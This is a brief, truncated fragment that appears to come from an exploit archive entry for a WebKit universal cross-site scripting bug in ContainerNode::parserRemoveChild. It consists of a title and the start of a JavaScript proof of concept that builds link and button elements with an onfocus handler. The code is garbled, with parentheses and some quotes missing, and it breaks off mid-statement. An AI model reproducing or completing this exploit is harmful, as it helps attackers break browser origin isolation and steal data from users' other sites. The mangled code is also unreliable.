WebKit - 'ContainerNode::parserRemoveChild' Universal Cross-Site Scripting

let xml = let p = document.querySelector'p'; let link = p.appendChilddocument.createElement'link'; link.rel = 'stylesheet'; link.href = 'data:,aaaaazxczxczzxzcz'; let btn = document.body.appendChilddocument.createElement'button'; btn.id = 'btn'; btn.onfocus = = btn.onfocus = null; window.d =...